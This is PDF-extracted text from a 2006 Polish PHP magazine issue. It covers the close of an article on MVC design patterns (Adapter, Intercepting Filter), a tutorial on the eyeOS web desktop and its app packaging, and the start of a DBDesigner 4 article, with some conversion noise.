$this->setCacheEngine(new Cache_Lite($options)); }

public function set($key,$data) {

return $this->getCacheEngine()->save($data,$key); }

public function get($key) {

return $this->getCacheEngine()->get($key); }

public function remove($key) {

return $this->getCacheEngine()->remove($key); }

public function exists($key) {

if ( $this->getCacheEngine()->get($key) ) {

return true; }

return false; }

// gettery i settery zostały pominięte

}

�������������� ����������������������

����

����������������

��������������� ��

��

������������� ��

�������������������

�������������������������������

���������

���������������������

���������

�������������

����������

������

���������������

Rysunek 2. Diagram sekwencji dla klasy FrontControllerImpl z Listingu 4

Page 35: PHP Solutions 03 2006 PL

Wzorce projektowe

www.phpsolmag.org 35

Techniki

PHP Solutions Nr 3/2006

padku umieszczania kodu w pliku Front Controllera powodujemy, że staje się on charakterystyczny dla naszej aplika-cji, jego kod przestaje być możliwy do przeniesienia. W sytuacji, gdy na każdej stronie umieszczamy odpowiednie inclu-dy problem jest oczywisty – zawsze mo-żemy zapomnieć to zrobić.

Kod, który napiszemy w includach, czy też w Front Controllerze jest czę-ścią naszej aplikacji, a nie „ustanda-ryzowanego API” frameworka, zatem z dużym prawdopodobieństwem przy tworzeniu następnego projektu będzie-my musieli go skopiować. A to ozna-cza, że nasza czerwona lampka powin-na się ponownie zapalić, zadając jed-nocześnie pytanie: czy nie da się te-go rozwiązać lepiej?. Oczywiście, że tak. Z pomocą przychodzi nam wzo-rzec Intercepting Filter. Wzorzec ten pojawia się w literaturze w dwóch od-mianach , w których filtry stanowią łań-cuch i każdy filtr wywołuje swojego na-stępcę. Ostatnim filtrem jest najczę-ściej akcja, którą chciał wykonać użyt-kownik. Druga implementacja, naszym zdaniem bardziej odpowiednia, pokaza-na jest na Listingu 4. Dla lepszego zro-zumienia, Rysunek 2 przedstawia dia-gram sekwencji dla tej klasy. Teraz każ-da akcja wykonana przez front kontroler może zostać poprzedzona wywołaniem filtra, na którym to zostanie wykonana metoda doPreProcessing. Po wykona-niu akcji na tymże filtrze zostanie wy-konana metoda doPostProcessing. Po-nadto w przypadku, gdy pojawi się ja-kiś wyjątek, zostanie wykonana metoda doExceptionProcessing. W ten sposób utworzyliśmy jeden wspólny interfejs do implementacji czynności wykonywanych zawsze na końcu i początku skryptu. Udało się nam również stworzyć mecha-nizm, który będzie reagował na wyjątki,i tak np. w przypadku filtru otwierające-go połączenie do bazy i rozpoczynają-cego transakcję przed zamknięciem po-łączenia, transakcja zostanie zrollbaco-wana. Metoda doExceptionProcessing jako jeden ze swoich parametrów pobie-ra obiekt wyjątku, tak więc każda z im-plementacji tej metody może w zależ-ności od typu wyjątku zareagować w in-ny sposób, co w połączeniu ze stoso-waniem w kodzie nazwanych wyjątków jest bardzo silnym narzędziem. Mecha-nizm ten można łatwo wykorzystać do logowania wyjątków i do przekierowy-

wania użytkownika na stronę z infor-macją o czasowym niedziałaniu serwi-su. Zwróćcie uwagę, że takich stron mo-że być wiele, tzn. jedna dla każdego ty-pu wyjątku. Listing 6 przedstawia przy-kładowe implementacji wzorca Intercep-ting Filter.

PodsumowanieW artykule pokazaliśmy, jak przy pomo-cy jednej z najbardziej podstawowych technik programowania obiektowego – kompozycji można zbudować aplika-cję o dużej funkcjonalności. Dzięki kom-pozycji osiągnęliśmy cel, o którym by-ła mowa w pierwszym artykule tej serii. Klasa FrontControllerImpl ma prostą implementację, jest zrozumiała i czytel-na. Jednocześnie jest bardzo elastycz-na i przygotowana na rozbudowę. Tym samym zakończyliśmy budowę tej czę-ści frameworka MVC. W następnym ar-tykule powiemy więcej o akcjach.

Poza rozbudową klasy Front Con-trollera zaprezentowaliśmy dwa bardzo ważne wzorce programistyczne Adapter i Intercepting Filter. Zgodnie z obietnica-mi z pierwszego artykułu poruszyliśmy

też temat dobrych praktyk, jakie należy stosować programując obiektowo. Po-wiedzieliśmy o tym, jak ważne jest stoso-wanie nazwanych wyjątków i tzw. Trans-fer Objects.

W artykule nie udało się nam zamie-ścić wszystkich przykładów, które poka-zują prostotę i elastyczności naszego rozwiązania, dlatego pod adresem http://flexi.sourceforge.net/ umieściliśmy cały framework wraz z forum, na którym mo-żecie wypowiedzieć się na temat nasze-go kodu. Kod umieszczony na WWW za-wiera dużo więcej potrzebnych i intere-sujących przykładów. n

Listing 6. Przykładowe implementacje wzorca Intercepting Filter

interface InterceptingFilter

{

public function doPreProcessing(HttpRequest $request);

public function doPostProcessing(HttpRequest $request, ModelAndView $modelAndView = NULL);

public function doExceptionProcessing(HttpRequest $request, Exception $exception, ModelAndView $modelAndView = NULL);

}

-------------------------------------------------------------

class SessionFilter implements InterceptingFilter{

public function doPreProcessing(Request $request) {

session_start();

}

public function doPostProcessing(Request $request, ModelAndView $modelAndView = NULL)

{

}

public function doExceptionProcessing(Exception $exception, Request $request, ModelAndView $modelAndView = NULL)

{

}

}

Piotr Szarwas jest pracownikiem SUPER-MEDIA Interactive i doktorantem na wy-dziale Fizyki Politechniki Warszawskiej. Od 2003 roku projektuje aplikacje WWW w oparciu o PHP4/5. Obecnie zajmuje się tworzeniem frameworka dla PHP oparte-go na rozwiązaniach Hibernate i Spring.Kontakt z autorem:[email protected]

O autorze

Page 36: PHP Solutions 03 2006 PL

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org36

eyeOS – system operacyjny w PHP

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 37

Celem projektu jest opracowanie graficznego środowiska spełnia-jącego wszystkie potrzeby infor-

matyczne firm i użytkowników domowych za pomocą PHP i serwera WWW. eyeOS ma wszędzie i w każdej chwili zapewniać dostęp do takich aplikacji, jak procesor tekstu, terminarz, menedżer plików czy komunikator.

Uruchomienie eyeOSPo zainstalowaniu eyeOS (patrz Ramka In-stalacja), np. w katalogu localhost/eyeos/, uruchamia się go poprzez wprowadze-nie podstawowego URL w przeglądarce in-ternetowej. Wyświetli się ekran logowa-nia, na którym można też wybrać język in-terfejsu. Po zalogowaniu zobaczymy ekranz ładną tapetą. U góry okna znajduje się bel-ka aplikacji (oficjalnie zwana dokiem aplika-cji) z ikonami: można tu wybrać jedną z wbu-dowanych aplikacji, które omówimy później, lub dodać nową za pomocą pomarańczowej ikony ze znakiem + po prawej. W dolnym le-

Wyobraźmy sobie, że nasze aplikacje webowe nie mają już surowego, sztywnego interfejsu. Są elastyczne i umożliwiają uruchamianie wielu aplikacji w jednym oknie przeglądarki – w ramkach o dowolnym rozmiarze, które można przeciągać, minimalizować i przywracać. Wyobraźmy sobie pulpit WWW z paskiem zadań i koszem na śmieci, dobrze znanym z KDE, GNOME czy systemów MS Windows i MacOS.To nie sen – to eyeOS, pierwszy graficzny system operacyjny napisany w czystym PHPi JavaScript.

wym rogu ekranu umieszczono małą ikonę umożliwiającą wylogowanie oraz zegar cy-frowy pokazujący aktualny czas.

Aplikacje, czyli zamieniamy czarno-biały TV na kolorowyKliknijmy w znajdującą się na belce apli-kacji ikonę z koncentrycznymi kręgami. Pojawi się okno aplikacji eyeHome, od-powiednika Mojego Komputera w MS Windows (Rysunek 1). Jak widać, jest ono podzielone na dwa panele: lewy za-tytułowany Actions i prawy bez podpisu.

Projekt eyeOS: rewolucjaw interfejsach webowych PHPSteven Mautone i Pau Garcia-Milà

W SIECI

1. http://www.eyeos.org– strona domowa projek-tu eyeOS

2. http://www.eyeapps.org– repozytorium aplikacjieyeOS

Stopień trudności: lll

Co należy wiedzieć...Powinieneś znać podstawy obsługi śro-dowisk graficznych.

Co obiecujemy...Po przeczytaniu artykułu będziesz wie-dział jak uruchomić i wykorzystać własny system eyeOS.

Page 37: PHP Solutions 03 2006 PL

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org36

eyeOS – system operacyjny w PHP

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 37

Rysunek 1. eyeHome – centralne miejsce systemu eyeOS

Po lewej stronie można dodać nowy do-kument lub kontakt, wysłać wiadomość do wybranego użytkownika albo zainsta-lować nową aplikację, czy przeczytać wła-sną pocztę.

Prawy panel pokazuje zawartość ka-talogu domowego (pliki). Trzy ikony przy każdym pliku umożliwiają ich otwieranie, pobieranie do lokalnego komputera oraz kasowanie. eyeOS pozwala także umiesz-czać własne pliki w katalogu domowym systemu. Usunięte pliki są przenoszone do kosza, tak samo jak w MS Windows czy KDE. Jeśli umieścimy coś w koszu, je-go ikona zmieni kolor.

Zajmijmy się teraz oknami. Można je dowolnie przemieszczać na ekranie. Robi-

my to klikając dolną krawędź okna lub je-go górną część (belkę tytułową) i przecią-gając je. Jest to funkcjonalność niespoty-kana dotąd w aplikacjach PHP. Inną no-wością jest fakt, że te same czynności wy-konane na dolnym prawym rogu okna po-zwalają swobodnie zmieniać jego rozmiar (jeżeli widoczna jest ikona zmiany rozmia-ru). Trzy przyciski w górnym prawym rogu służą odpowiednio do minimalizacji, otwie-rania w trybie pełnoekranowym oraz za-mknięcia okna. Operacje te są dostępne dla wszystkich okien, chyba że uniemoż-liwili je twórcy aplikacji.

Zwróćmy też uwagę na dok aplikacjii podświetloną ikonę katalogu eyeHome. To samo dotyczy wszystkich otwartych programów systemu. Aplikacja eyeOS mo-że działać w trzech trybach: normalnym oknie, pełnym ekranie lub w trybie minima-lizacji. Ikona w doku aplikacji zostanie od-powiednio podświetlona. Od wersji 0.8.x systemu eyeOS wprowadzono także moż-liwość jednoczesnego uruchamiania wielu aplikacji, przy zachowaniu możliwości ich minimalizowania.

Edycja tekstu w eyeOSPrzyjrzyjmy się bliżej wbudowanym w sys-tem aplikacjom. Po kliknięciu New Docu-ment w oknie, które opisywaliśmy, lub w drugą ikonę w doku aplikacji u góry ekra-nu pojawi się edytor tekstu WYSIWYG (Rysunek 3). Umożliwia on wybranie kil-ku krojów czcionek i ustawienie ich roz-

miaru, stylu (pogrubiony, kursywa, podkre-ślony), wyjustowanie tekstu, a także wpro-wadzanie list uporządkowanych i nieupo-rządkowanych, linii poziomych, tabel, ry-sunków itd. Choć nie jest to pierwszy edy-tor WYSIWYG w historii PHP (istnieje już np. FCK), może on służyć jako przykład możliwości eyeOS.

Jeśli chcemy ukryć edytor, wystarczy kliknąć pierwszą ikonę w prawym gór-nym rogu okna. Ikona aplikacji pojawi się w dolnym lewym rogu ekranu, w doku zminimalizowanych aplikacji, gdzie znaj-dują się ikony wszystkich ukrytych dzia-łających programów. Po najechaniu na nie kursorem wyświetli się nazwa każ-dej aplikacji, a kliknięcie przywróci okno wraz z zawartością na ekran. Kliknię-cie w okno eyeHome umieszczone za oknem edytora spowoduje przeniesienie go na pierwszy plan – tak, jak w innych graficznych systemach operacyjnych. Tekst można również zapisać w katalogu domowym w celu późniejszej edycji.

Inne wbudowane aplikacjeOczywiście wbudowane aplikacje to nie tylko eyeHome i eyeEdit. Sprawdź-my inne programy wyświetlone w doku aplikacji:

• eyeCalendar – menedżer harmono-gramów i notatek,

• eyePhones – menedżer kontaktów umożliwiający dodawanie szczegó-łowych informacji o osobach lub fir-mach,

• eyeCalc – kalkulator,• eyeMessages – systemowa usługa

przesyłania wiadomości przypomina-jąca lokalną pocztę elektroniczną lub funkcję prywatnych wiadomości na fo-rach dyskusyjnych,

• eyeBoard – tablica ogłoszeń,• eyeNav – przeglądarka internetowa,

Listing 1. Zawartość pliku proprie-tats.xml – podstawowe parametry aplikacji SampleApp.eyeApp

<?xml version="1.0"?>

<SampleApp>

<title>Sample App</title>

<version>v. 1.0</version>

<author>Pau Garcia-Milà</author>

<window>

<height>700</height>

<width>575</width>

<resize>no</resize>

<fullscreen>no</fullscreen>

<x_pos>-1</x_pos>

<y_pos>-1</y_pos>

</window>

<state />

</SampleApp>Rysunek 2. Działający pulpit eyeOS

Page 38: PHP Solutions 03 2006 PL

eyeOS – system operacyjny w PHP

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org38

• eyeOptions – narzędzie do konfigu-racji systemu; umożliwia zmianę ta-pety i motywu, ustawienie hasła i ho-sta eyeOS oraz dodawanie i usuwa-nie kont użytkowników (Rysunek 4),

• eyeInfo – informacje o twórcach ey-eOS, otwartych aplikacjach oraz uży-wanych wersjach systemu operacyj-nego i PHP,

• eyeApps – menedżer aplikacji (poma-rańczowa ikona ze znakiem +).

eyeNav to prawdziwa przeglądarka dzia-łająca w oknie przeglądarki, pozwalająca poruszać się po zasobach WWW. Moż-na w niej nawet otworzyć kolejną sesjęeyeOS – razem z kalkulatorem urucho-mionym wewnątrz zagnieżdżonego okna eyeOS (Rysunek 5).

Instalacja i usuwanie aplikacji Spróbujmy zainstalować nowe aplikacje. Służy do tego, jak już wiemy, eyeApps (od eyeOS w wersji 0.8.x). Najpierw jednak należy pobrać ze strony http://eyeapps.org odpowiednie pliki, które są podzielone na kilka kategorii: Games (gry 2D i 3D, zwy-kle napisane w języku Java), Multimedia (odtwarzacze), Office (arkusze kalkulacyj-ne, programy graficzne itd.), Widgets oraz Internet (aplikacje siecowe, na przykład systemy chat).

Gra muzykaZainstalujemy odtwarzacz muzyczny z ka-tegorii Multimedia o nazwie eyeAmp, któ-

ry przypomina nieco programy Winamp i XMMS. Wszystkie pakiety aplikacji dla systemu eyeOS mają rozszerzenie .ey-eApp.tar.gz. Spróbujmy zatem zainstalo-wać pakiet eyeAmp.eyeApp.tar.gz.. Pobie-ramy go i uruchamiamy eyeApps (Rysu-nek 6), które udostępnia dwie opcje: Ma-nage Apps oraz Install Apps. Wybieramy oczywiście drugą z nich, klikamy przycisk Browse i wybieramy plik.

Następnie możemy zdecydować, czy aplikacja będzie dostępna dla wszystkich użytkowników, czy też wyłącznie dla aktu-alnego użytkownika. Po kliknięciu strzałki aplikacja zostanie rozpakowana i zainsta-lowana. Jeśli wybraliśmy instalację w try-

bie systemowym (dla wszystkich użytkow-ników), pliki zostaną umieszczone w folde-rze etc/apps/eyeAmp; w przeciwnym wy-padku znajdą się w katalogu użytkownika (usr/root/apps/eyeAmp).

Instalacja jest zakończona, jednak zapewne warto byłoby umieścić ikonę eyeAmp na ekranie. Nie jest to proble-mem – jedynym ograniczeniem jest fakt, że maksymalna liczba widocznych ikon wynosi 10. Trzeba więc ponownie uru-chomić eyeApps, wybrać opcję Mana-ge apps i ukryć ikonę innej aplikacji. (na przykład eyeBoard) przez jej odznacze-nie na liście. Następnie trzeba aktywo-wać ikonę eyeAmp, kliknąć opcję Update the configuration pod listą aplikacji i za-mknąć okno.

Spróbujmy uruchomić eyeAmp. Apli-kacja odtwarza muzykę w formacie MP3, jednak pliki dźwiękowe muszą być umieszczone w katalogu domowym sys-temu eyeOS (np. /home/root) ręcznie lub za pomocą funkcji wysyłania plików apli-kacji eyeHome. Umieśćmy w katalogu do-mowym kilka plików i odtwórzmy je (Rysu-nek 7). To naprawdę działa!

Usuwanie aplikacji jest również bar-dzo łatwe. Po uruchomieniu eyeApps i wybraniu opcji Manage Apps klikamy ikonę usuwania (zielony X) po prawej stronie aplikacji, którą chcemy odinsta-lować, a następnie potwierdzamy wybór. Proces deinstalacji odbywa się automa-tycznie – aplikacja nie zostawi żadnych plików – śmieci na serwerze. Nie można jednak usunąć aplikacji wbudowanych, takich jak eyeCalc.

WymaganiaeyeOS wymaga serwera WWW z obsługą PHP. Zalecamy używanie systemów Linux/Un*x z serwerem Apache 1.3.x lub 2.0.x oraz PHP 4.3.x albo 5.0.x. Działa on głównie w opar-ciu o pliki i nie wymaga bazy danych. Konieczna jest jednak możliwość wysyłania plików i katalogów na serwer oraz posiadanie praw pozwalających na zmianę uprawnień do kata-logów. Przeglądarka musi być zgodna ze standardami, a także obsługiwać CSS. Mecha-nizm graficzny eyeOS stosuje pliki PNG z kanałem alfa - aby optymalnie wykorzystać sys-tem, przeglądarka powinna je obsługiwać.

InstalacjaPobieramy najnowszą wersję systemu eyeOS ze strony http://www.eyeos.org. Jest ona obecnie dostępna w dwóch formatach plików: .tar.gz z kodem źródłowym i .exe z wersją MiniServer dla Windows. Pakiet eyeOS MiniServer zawiera miniaturową wersję serwera Apache dla Windows oraz zmodyfikowaną przeglądarkę Firefox.Wersja .tar.gz również ma instalator: wystarczy rozpakować eyeOS do folderu w publicz-nym katalogu WWW i otworzyć w przeglądarce odpowiedni adres. Instalator zapyta o wy-bór języka (dostępnych jest kilka wersji, m.in. angielska, polska, niemiecka, francuska i włoska) oraz o hasło (z potwierdzeniem) użytkownika root. Po kliknięciu odnośnika Ad-vanced Security Parameters (zaawansowane parametry zabezpieczeń) można ustawić między innymi takie opcje, jak nazwa użytkownika-administratora (domyślnie root), kata-log domowy (domyślnie home, a także katalogi, w których będą przechowywane wiado-mości przychodzące, notatki i aplikacje. Po potwierdzeniu instalacji system będzie goto-wy do użytku.

Rysunek 3. eyeEdit, edytor WYSIWYG napisany w PHP

Page 39: PHP Solutions 03 2006 PL

eyeOS – system operacyjny w PHP

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 39

System plików eyeOSPrzyjrzyjmy się bliżej strukturze sys-temu eyeOS. Za pomocą dowolnego menedżera plików lub polecenia sys-temowego (ls w *niksach, dir w DOS/Windows) można przeglądać system plików eyeOS, złożony z następujących katalogów:

• apps – wbudowane aplikacje,• Docs – dokumentacja systemu,• etc – aplikacje systemowe, motywy

i inne ustawienias,• home – katalogi z danymi użytkow-

ników (tak jak w Linuksie), np. root; umieszczane są w nich pliki wysłane za pomocą eyeHome,

• system – właściwy system, łącznie z podstawowymi narzędziami do in-stalacji i konfiguracji oraz motywami graficznymi,

• usr – kolejny katalog na foldery do-mowe (takie jak root), w którym prze-chowywane są nowo zainstalowane aplikacje (poza wbudowanymi) dla pojedynczych użytkowników, wiado-mości przychodzące, książka telefo-niczna i wpisy kalendarza, notatki,a także osobisty kosz.

W katalogu głównym znajdują się rów-nież trzy pliki: index.php (strona głów-na), desktop.php i sysdefs.php.

Jak widać, system plików eyeOS jest dość zaawansowany, a przy okazji do-brze rozplanowany. Przypomina nieco linuksową lub *niksową hierarchię kata-logów.

Rdzeń eyeOSZapoznajmy się bliżej z innymi funkcja-mi, ukrytymi głęboko w systemie eyeOS. Jego rdzeń (część główna) został napi-sany w PHP, ale już sam interfejs jest re-alizowany przez kod HTML, który gene-ruje kod stworzony w PHP. Na wszystkich stronach do zarządzania funkcjami okien eyeOS wykorzystywany jest JavaScript.

Wszystkie dane rdzenia eyeOS są przechowywane w strukturze XML. SYs-tem eyeOS ma własne funkcje XML, po-nieważ obsługa XML (a dokładnie sim-pleXML) jest dostępna tylko w najnow-szej serii – PHP5, a twórcy XML chcie-li także zapewnić obsługę XML przez PHP4. Znaczniki te są dostosowane do eyeOS, jednak nie nadają się do ogól-nych zastosowań.

Jak już wiemy, podstawowe defini-cje systemu są przechowywane w pliku sysdefs.php, który znajduje się w katalo-gu głównym eyeOS. Są to stałe zdefinio-wane za pomocą wyrażenia define(). Ich domyślne wartości są następujące:

• SYSINFO – nazwa pliku z parametrami systemu, (etc/system.php)

• BBOARD – plik forum dyskusyjnego (etc/taulell.php),

• HOMEDIR – katalog z wszystkimi plikami użytkownika, (home)

• USRDIR – katalog z plikami kontrolnymi użytkownika (usr),

• ROOTUSR – nazwa użytkownika root (root),

• USRINFO – nazwa pliku z parametrami użytkowników (usrinfo.php),

• MSGDIR – nazwa katalogu z wiadomo-sciami (Inbox),

• NOTEDIR – nazwa katalogu z notatkami (eyeEdit,)

• SYSAPPS – nazwa katalogu z zainsta-lowanymi aplikacjami ogólnosyste-mowymi (etc/apps/),

W tym samym pliku znajdują się także ustawienia systemu okien:

• WINDOW_HEIGHT – wysokość (200),• WINDOW_WIDTH – szerokość (350),• WINDOW_START, WINDOW_INC – pozycje

zmiennych okien (60, 40),• SYSFMT_DATE – format daty systemowej

(d/m/Y = dzień/miesiąc/rok),• SYSFMT_TIME – format czasu systemo-

wego (H:i = godzina:minuta),• MAXICONS – maksymalna liczba ikon

(11).

Pulpit eyeOS, podobnie jak pulpit w trady-cyjnych systemach, można całkowicie do-stosować do indywidualnych potrzeb, od ekranu logowania po menedżer okien. Ta-ka elastyczność pozwala użytkownikom tworzyć własny pulpit, zgodny z wymaganą funkcjonalnością i osobistymi preferencjami.

Historia i rozwójsystemu eyeOSProjekt eyeOS powstał we wrześniu 2004 r. jako pomysł na stworzenie we-bowego systemu operacyjnego. Wer-sja alfa została wydana 1 sierpnia 2005 r. Od tego czasu projekt niezwykle się rozwinął. Aktualna wersja 0.8.10 zbliża projekt zwany przez członków zespo-łu Web Desktop Environment do peł-nego wykorzystania możliwości tech-nologii AJAX.Następna wersja eyeOS będzie całko-wicie oparta na tej technologii (pisali-śmy o AJAX w artykułach „AJAX – wy-jątkowo interaktywne i wydajne aplika-cje WWW” oraz „advAJAX, czyli prak-tyczne zastosowanie technologii AJAX” w numerze 1/2006 magazynu PHP So-lutions), co pozwoli na znaczne zwięk-szenie wydajności systemu (np. unik-nięcie ponownego ładowania całe-go pulpitu, co ma miejsce choćby pod-czas zmiany używanej aplikacji). Na-stępne wydanie eyeOS będzie dodatko-wo zawierać kompletne API do tworze-nia aplikacji. Zespół eyeOS jest w trak-cie przygotowywania odpowiedniej do-kumentacji.

Rysunek 4. eyeOptions, panel konfiguracyjny eyeOS

Page 40: PHP Solutions 03 2006 PL

eyeOS – system operacyjny w PHP

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org40

Tworzenie własnych pakietów aplikacji eyeOSProces tworzenia pakietu instalacyjnego z nową aplikacją (eyeApp) jest całkiem prosty. Wystarczy tylko umieścić plikiw katalogu o nazwie NAZWAAPLIKACJI.eyeApp i skompresować go w pliku .tar.gz o nazwie w formacie NAZWAAPLIKACJI.eyeApp.tar.gz.

Jednak przed kompresją katalogu mu-simy umieścić w nim podstawowe pliki aplikacji eyeOS. Każda aplikacja wymaga obecności pięciu plików:

• ico_a.png – ikona minimalizacji; po-jawia się w belce zminimalizowa-nych aplikacji. Aby móc tworzyć iko-ny zgodne z domyślnym motywem ikon eyeOS, należy pobrać ze strony projektu (http://www.eyeos.org/docs/eyeOS_Icon.xcf) plik .xcf do obróbki w programie Gimp, zawierający wszyst-kie potrzebne warstwy.

• ico_b.png – ikona aktywnej aplikacji; grafika ta jest wyświetlana na belce ikon. Podczas tworzenia tej ikony za-lecamy stosowanie wyższych warto-ści alfa niż w przypadku ico_c.png, co pozwoli odróżnić aplikację aktywną od nieaktywnej.

• ico_c.png – ikona aplikacji nieaktyw-nej, wyświetlana w doku aplikacji. Za-lecamy wartość alfa 50%.

• propietats.xml – parametry związane z określoną aplikacją, które omówimy później.

• applic.php – kod aplikacji (plik główny; inne pliki są również dozwolone).

Wszystkie wymienione pliki są konieczne, aby aplikacja została rozpoznana przez eyeOS.

Ustawianie najważniejszych parametrów aplikacjiZajmijmy się plikiem propietats.xml. W nim właśnie definiujemy parametry uży-wane przez system podczas tworzenia okna aplikacji. Można go także użyć do podawania kodowi aplikacji danych o pa-rametrach.

Przykładowa aplikacja SampleApp.eyeApp powinna zawierać plik propie-tats.xml w takiej postaci, jaką przedsta-wiono na Listingu 1.

W rzeczywistości wszystkie te infor-macje są opcjonalne, ponieważ system użyje wartości domyślnych dla wszyst-kich niezdefiniowanych pól – konieczne jest tylko, aby plik ten istniał.

Niektóre ogólne cechy plików XML systemu eyeOS są następujące:

• Wartości atrybutów muszą być po-dawane w pojedynczych lub po-dwójnych cudzysłowach, w prze-ciwnym wypadku zostaną zignoro-wane.

• Niepoprawne dane wejściowe są od-rzucane bez komentarza.

• eyeOS nie rozróżnia wielkich i małych liter w nazwach znaczników, ale par-ser dopasuje znaczniki otwierające do zamykających wyłącznie wtedy, gdy będą identyczne.

• Znaczniki i atrybuty są traktowane jed-nakowo – kod z Listingu 1 może rów-nież wyglądać następująco:

<Sample title='Sample App'

version='v. 1.0'

author='Pau Garcia-Milà'>

<window height='700' width='575'

noresize='1' nofullscreen='1' x_pos='-1

y_pos='-1' /

<state />

</Sample>

Rysunek 6. eyeApps, narzędzie do zarządzania aplikacjami systemu eyeOS

Rysunek 5. Okno przeglądarki z kalkulatorem umieszczone w innym oknie przeglądarki

Page 41: PHP Solutions 03 2006 PL

eyeOS – system operacyjny w PHP

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 41

• Plik The propietats.xml jest ładowa-ny wyłącznie podczas startu aplika-cji. Dodatkowo jeżeli USRDIR aktualne-go użytkownika zawiera plik XML o na-zwie takej samej, jak nazwa aplikacji, to jest on również odczytywany i doda-wany do danych aplikacji. Jeśli obiekty się dublują, pierwszeństwo ma wersja USR. Nazwa głównego znacznika w zasadzie nie jest używana, warto jed-nak zdefiniować nazwę aplikacji, dzięki czemu będzie wiadomo, jaka aplikacja jest definiowana. Należy zwrócić uwa-gę, że w danych aplikacji USR nazwa główna musi być taka sama, jak w pli-ku propietats.xml.

• Informacje są zapisywane w wewnętrz-nej strukturze eyeOS, appinfo, do cza-su zakończenia działania aplikacji.

• Tytuł jest opcjonalny. Jeżeli jest okre-ślony i nie jest pusty, zastępuje nazwę aplikacji wyświetlaną u góry okna.

• Wartość pola informacji o wersji (jeśli zdefiniowana) jest dodawana do tytu-łu okna.

• Podstruktura okna definiuje jego atry-buty. Zwykle wymagane są wysokość i szerokość, ale jeśli jednej z warto-ści brakuje, ustawiane są domyślne wartości systemowe (podane w sys-defs.php).

• Jeśli atrybut zmiany rozmiaru nie jest pusty, zaleca się stosowanie wartości 'no'.

• Jeśli atrybut pełnego ekranu nie jest pusty, zaleca się stosowanie wartości 'no'.

• Znaczniki definiujące pozycję w pio-nie i poziomie (x-pos i y-pos) mogą być użyte do poprawienia początko-wej pozycji okna.

• Domyślne wartości -1 znaczników x-pos i y-pos powodują, że okno jest otwierane przy górnej lewej krawędzi ekranu, zaś kolejne okna bez usta-wionej pozycji są otwierane w stałej odległości od poprzednich.

Kompletna struktura aplikacji jest okre-ślona w pliku applic.php. Plik powinien rozpoczynać się od wyrażenia

if (!defined ('USR')) return;

Dane systemowe oraz dane konkretnych aplikacji są podawane jako zmienne glo-balne. Pierwszą zmienną jest $appinfo[] – tablica zawierająca dane aplikacji i sys-temowe, pobierane głównie z pliku propie-tats.xml. Na przykład appdir określa ka-talog z plikami aplikacji. Jest ona później używana do inkluzji innych plików PHPz katalogu aplikacji:

include $appinfo['appdir'].'CODEFIL

E';,

gdzie CODEFILE jest nazwą tego pliku.Zauważmy, że jeżeli strona zawiera

nagłówki HTML (<html><head>...</head>...) lub wymaga plików CSS, powinna ona być umieszczona jako obiekt iframe – w prze-ciwnym razie system zarządzania okna-mi eyeOS zostanie uszkodzony. Aby użyć

obiektu iframe, należy umieścić w kodzie następujące wiersze:

echo "<iframe src='".$appinfo['appdir'].

"NAZWASTRONY.htm'" style='width:

XXpx; height: YYpx' frameborder='0'>

</iframe>";

Oczywiście NAZWASTRONY musi być za-mieniona na nazwę pliku HTML, który ma być umieszczony, XX należy zastąpić szerokością obiektu iframe, a YY jego wy-sokością (oba wymiary powinny być o kil-ka pikseli mniejsze od rozmiaru okna).

Aby zakończyć tworzenie pakietu, wy-starczy skompresować do pliku .tar.gz pięć plików aplikacji (razem z dodatkowymi pli-kami, jeśli istnieją) umieszczonych w kata-logu NAZWAAPLIKACJI.eyeApp.

PodsumowanieUdowodniliśmy, że eyeOS wnosi nową jakość graficznego interfejsu użytkowni-ka do świata PHP. Odtwarzacze multime-diów, edytory tekstu, chaty, fora dyskusyj-ne, aplikacje CMS, ERP czy CRM – nie ma takiej aplikacji PHP, której nie dałoby się przekonwertować do systemu eyeOS. W ciągu najbliższych kilku lat pojawą się tysiące aplikacji wykorzystujących eyeOS, biorąc pod uwagę fakt, że pracuje nad tym aktywna i dobrze zorganizowana wspólno-ta eyeOS. Precz z przestarzałymi, topor-nymi, niewygodnymi i niewydajnymi inter-fejsami webowymi. Niech żyje rewolucja PHP/eyeOS!

W następnym numerze zbudujemy aplikację dla eyeOS, przy okazji pokazu-jąc mechanizmy rządzące systemem. n

Rysunek 7. eyeAmp – odtwarzacz MP3

Steven Mautone rozpoczął swoją pracę z Internetem od tworzenia serwisów dla małych firm. Obecnie kończy pracę ma-gisterską na Indiana University. Steven jest business managerem projektu ey-eOS, dba o ekspansję systemu eyeOS.

Pau Garcia-Milà od wielu lat tworzy por-tale internetowe. Jeden z nich, www.pam-tomaket.com, otrzymał wsparcie od rządu Catalonii i posiada około 1400 użytkowni-ków. Pau studiuje obecnie Nauki Kompu-terowe na Politechnice Uniwesytetu Cala-tonii (upc.edu). Jest głównym dewelope-rem projektu eyeOS, skupia się na rozwi-janiu rdzenia systemu.

Kontakt z autorami: [email protected]

O autorach

Page 42: PHP Solutions 03 2006 PL

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org42

DBDesigner 4

PHP Solutions Nr 3/2006

Narzędzia

www.phpsolmag.org 43

DBDesigner jest narzędziem gra-ficznym, które wspomaga analizę istniejącej bazy danych lub kon-

cepcji nowej i współpracuje z PHP i My-SQL-em. Pokażemy to na konkretnym, z życia wziętym przykładzie: przenosze-niu danych ze starego systemu bazoda-nowego.

ProblematykaPewne przedsiębiorstwo aktualizu-je swoje oprogramowanie bazodano-we, które zostało napisane w Cobolu i działa na maszynach typu Mainframe. Zmiana będzie polegała na zastąpieniu starych aplikacji nowymi przy zachowa-niu danych oraz ich struktury. Nie wie-my jeszcze, jakich konkretnie aplikacji będziemy używali, poza tym, że obsłu-gą naszych danych zajmie się MySQL. Przeniesiemy więc dane w postaci in-tegralnej ze starych baz do MySQL-a, korzystając z plików CSV oraz XML. Użyjemy w tym celu narzędzia, które

Poprawne modelowanie danych jest gwarancją (tak jak przemyślane programowanie) skuteczności podczas formuowania zapytań do Waszej bazy danych. DBDesigner 4 pozwala, szczególnie na dużych strukturach danych, mieć globalny, graficzny i bardzo precyzyjny widok organizacji danych na jakich pracujemy.

